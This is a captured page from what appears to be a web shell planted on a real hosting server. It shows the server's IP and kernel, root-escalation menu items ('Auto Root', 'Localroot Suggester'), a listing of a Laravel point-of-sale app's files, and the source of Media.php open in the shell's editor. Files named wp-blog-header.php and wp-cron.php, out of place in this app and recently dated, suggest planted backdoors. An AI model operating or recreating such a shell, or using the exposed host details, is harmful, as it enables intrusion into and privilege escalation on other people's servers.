Linux amd.servercpanel.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
LiteSpeed
Server IP : 161.248.188.165 & Your IP : 216.73.216.219
Domains :
Cant Read [ /etc/named.conf ]
User : oishifashion
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
oishifashion /
ap.tsgbd.com /
aa /
app /
Delete
Unzip
Name
Size
Permission
Date
Action
Backup
[ DIR ]
drwxr-xr-x
2025-02-06 04:36
Charts
[ DIR ]
drwxr-xr-x
2025-02-06 04:36
Console
[ DIR ]
drwxr-xr-x
2025-02-06 04:36
Events
[ DIR ]
drwxr-xr-x
2025-12-19 03:59
Exceptions
[ DIR ]
drwxr-xr-x
2025-02-06 04:36
Exports
[ DIR ]
drwxr-xr-x
2025-02-06 04:36
Http
[ DIR ]
drwxr-xr-x
2025-02-06 04:36
Listeners
[ DIR ]
drwxr-xr-x
2025-02-06 04:36
Mail
[ DIR ]
drwxr-xr-x
2025-02-06 04:36
Notifications
[ DIR ]
drwxr-xr-x
2025-02-06 04:36
Providers
[ DIR ]
drwxr-xr-x
2025-12-19 05:29
Restaurant
[ DIR ]
drwxr-xr-x
2025-02-06 04:36
Rules
[ DIR ]
drwxr-xr-x
2025-02-06 04:36
Utils
[ DIR ]
drwxr-xr-x
2025-02-06 04:36
.htaccess
197
B
-r--r--r--
2025-12-18 07:34
Account.php
3.89
KB
-rw-r--r--
2025-02-06 04:36
AccountTransaction.php
4.4
KB
-rw-r--r--
2025-02-06 04:36
AccountType.php
486
B
-rw-r--r--
2025-02-06 04:36
Barcode.php
221
B
-rw-r--r--
2025-02-06 04:36
Brands.php
1.01
KB
-rw-r--r--
2025-02-06 04:36
Business.php
2.78
KB
-rw-r--r--
2025-02-06 04:36
BusinessLocation.php
5.42
KB
-rw-r--r--
2025-02-06 04:36
CashDenomination.php
230
B
-rw-r--r--
2025-02-06 04:36
CashRegister.php
585
B
-rw-r--r--
2025-02-06 04:36
CashRegisterTransaction.php
237
B
-rw-r--r--
2025-02-06 04:36
Category.php
2.92
KB
-rw-r--r--
2025-02-06 04:36
Contact.php
12.09
KB
-rw-r--r--
2025-02-06 04:36
Currency.php
104
B
-rw-r--r--
2025-02-06 04:36
CustomerGroup.php
1016
B
-rw-r--r--
2025-02-06 04:36
DashboardConfiguration.php
111
B
-rw-r--r--
2025-02-06 04:36
Discount.php
483
B
-rw-r--r--
2025-02-06 04:36
DocumentAndNote.php
928
B
-rw-r--r--
2025-02-06 04:36
ExpenseCategory.php
811
B
-rw-r--r--
2025-02-06 04:36
GroupSubTax.php
213
B
-rw-r--r--
2025-02-06 04:36
InvoiceLayout.php
1.06
KB
-rw-r--r--
2025-02-06 04:36
InvoiceScheme.php
836
B
-rw-r--r--
2025-02-06 04:36
Media.php
6.31
KB
-rw-r--r--
2025-02-06 04:36
NotificationTemplate.php
17.09
KB
-rw-r--r--
2025-02-06 04:36
PaymentAccount.php
693
B
-rw-r--r--
2025-02-06 04:36
Printer.php
1.65
KB
-rw-r--r--
2025-02-06 04:36
Product.php
5.34
KB
-rw-r--r--
2025-02-06 04:36
ProductRack.php
225
B
-rw-r--r--
2025-02-06 04:36
ProductVariation.php
448
B
-rw-r--r--
2025-02-06 04:36
PurchaseLine.php
1.85
KB
-rw-r--r--
2025-02-06 04:36
ReferenceCount.php
228
B
-rw-r--r--
2025-02-06 04:36
SellingPriceGroup.php
1.58
KB
-rw-r--r--
2025-02-06 04:36
StockAdjustmentLine.php
474
B
-rw-r--r--
2025-02-06 04:36
System.php
2.33
KB
-rw-r--r--
2025-02-06 04:36
TaxRate.php
2.66
KB
-rw-r--r--
2025-02-06 04:36
Transaction.php
13.31
KB
-rw-r--r--
2025-02-06 04:36
TransactionPayment.php
3.16
KB
-rw-r--r--
2025-02-06 04:36
TransactionSellLine.php
2.61
KB
-rw-r--r--
2025-02-06 04:36
TransactionSellLinesPurchaseLines.php
375
B
-rw-r--r--
2025-02-06 04:36
TypesOfService.php
758
B
-rw-r--r--
2025-02-06 04:36
Unit.php
1.28
KB
-rw-r--r--
2025-02-06 04:36
User.php
8.89
KB
-rw-r--r--
2025-02-06 04:36
UserContactAccess.php
113
B
-rw-r--r--
2025-02-06 04:36
Variation.php
1.62
KB
-rw-r--r--
2025-02-06 04:36
VariationGroupPrice.php
819
B
-rw-r--r--
2025-02-06 04:36
VariationLocationDetails.php
238
B
-rw-r--r--
2025-02-06 04:36
VariationTemplate.php
401
B
-rw-r--r--
2025-02-06 04:36
VariationValueTemplate.php
419
B
-rw-r--r--
2025-02-06 04:36
Warranty.php
1.3
KB
-rw-r--r--
2025-02-06 04:36
error_log
5.45
KB
-rw-r--r--
2025-12-19 05:56
wp-blog-header.php
2.74
KB
-r--r--r--
2025-12-18 07:34
wp-cron.php
2.74
KB
-rw-r--r--
2025-12-18 07:34
Save
Rename
<?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Storage; class Media extends Model { /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; protected $appends = ['display_name', 'display_url']; /** * Get all of the owning mediable models. */ public function mediable() { return $this->morphTo(); } /** * Get display name for the media */ public function getDisplayNameAttribute() { $array = explode('_', $this->file_name, 3); return ! empty($array[2]) ? $array[2] : $array[1]; } /** * Get display link for the media */ public function getDisplayUrlAttribute() { $path = asset('/uploads/media/'.rawurlencode($this->file_name)); return $path; } /** * Get display path for the media */ public function getDisplayPathAttribute() { $path = public_path('uploads/media').'/'.rawurlencode($this->file_name); return $path; } /** * Get display link for the media */ public function thumbnail($size = [60, 60], $class = null) { $html = '<img'; $html .= ' src="'.$this->display_url.'"'; $html .= ' width="'.$size[0].'"'; $html .= ' height="'.$size[1].'"'; if (! empty($class)) { $html .= ' class="'.$class.'"'; } $html .= '>'; return $html; } /** * Uploads files from the request and add's medias to the supplied model. * * @param int $business_id, obj $model, $obj $request, string $file_name */ public static function uploadMedia($business_id, $model, $request, $file_name, $is_single = false, $model_media_type = null) { //If app environment is demo return null if (config('app.env') == 'demo') { return null; } $uploaded_files = []; if ($request->hasFile($file_name)) { $files = $request->file($file_name); //If multiple files present if (is_array($files)) { foreach ($files as $file) { $uploaded_file = Media::uploadFile($file); if (! empty($uploaded_file)) { $uploaded_files[] = $uploaded_file; } } } else { $uploaded_file = Media::uploadFile($files); if (! empty($uploaded_file)) { $uploaded_files[] = $uploaded_file; } } } //check if base64 if (! empty($request->$file_name) && ! is_array($request->$file_name)) { $base64_array = explode(',', $request->$file_name); $base64_string = $base64_array[1] ?? $base64_array[0]; if (Media::is_base64($base64_string)) { $uploaded_files[] = Media::uploadBase64Image($base64_string); } } if (! empty($uploaded_files)) { //If one to one relationship upload single file if ($is_single) { $uploaded_files = $uploaded_files[0]; } // attach media to model Media::attachMediaToModel($model, $business_id, $uploaded_files, $request, $model_media_type); } } public static function is_base64($s) { return (bool) preg_match('/^[a-zA-Z0-9\/\r\n+]*={0,2}$/', $s); } /** * Uploads requested file to storage. */ public static function uploadFile($file) { $file_name = null; if ($file->getSize() <= config('constants.document_size_limit')) { $new_file_name = time().'_'.mt_rand().'_'.$file->getClientOriginalName(); if ($file->storeAs('/media', $new_file_name)) { $file_name = $new_file_name; } } return $file_name; } public static function uploadBase64Image($base64_string) { $file_name = time().'_'.mt_rand().'_media.jpg'; $output_file = public_path('uploads').'/media/'.$file_name; // open the output file for writing $ifp = fopen($output_file, 'wb'); fwrite($ifp, base64_decode($base64_string)); // clean up the file resource fclose($ifp); return $file_name; } /** * Deletes resource from database and storage */ public static function deleteMedia($business_id, $media_id) { $media = Media::where('business_id', $business_id) ->findOrFail($media_id); $media_path = public_path('uploads/media/'.$media->file_name); if (file_exists($media_path)) { unlink($media_path); } $media->delete(); } public function uploaded_by_user() { return $this->belongsTo(\App\User::class, 'uploaded_by'); } public static function attachMediaToModel($model, $business_id, $uploaded_files, $request = null, $model_media_type = null) { if (! empty($uploaded_files)) { if (is_array($uploaded_files)) { $media_obj = []; foreach ($uploaded_files as $value) { $media_obj[] = new \App\Media([ 'file_name' => $value, 'business_id' => $business_id, 'description' => ! empty($request->description) ? $request->description : null, 'uploaded_by' => ! empty($request->uploaded_by) ? $request->uploaded_by : auth()->user()->id, 'model_media_type' => $model_media_type, ]); } $model->media()->saveMany($media_obj); } else { //delete previous media if exists $model->media()->delete(); $media_obj = new \App\Media([ 'file_name' => $uploaded_files, 'business_id' => $business_id, 'description' => ! empty($request->description) ? $request->description : null, 'uploaded_by' => ! empty($request->uploaded_by) ? $request->uploaded_by : auth()->user()->id, 'model_media_type' => $model_media_type, ]); $model->media()->save($media_obj); } } } }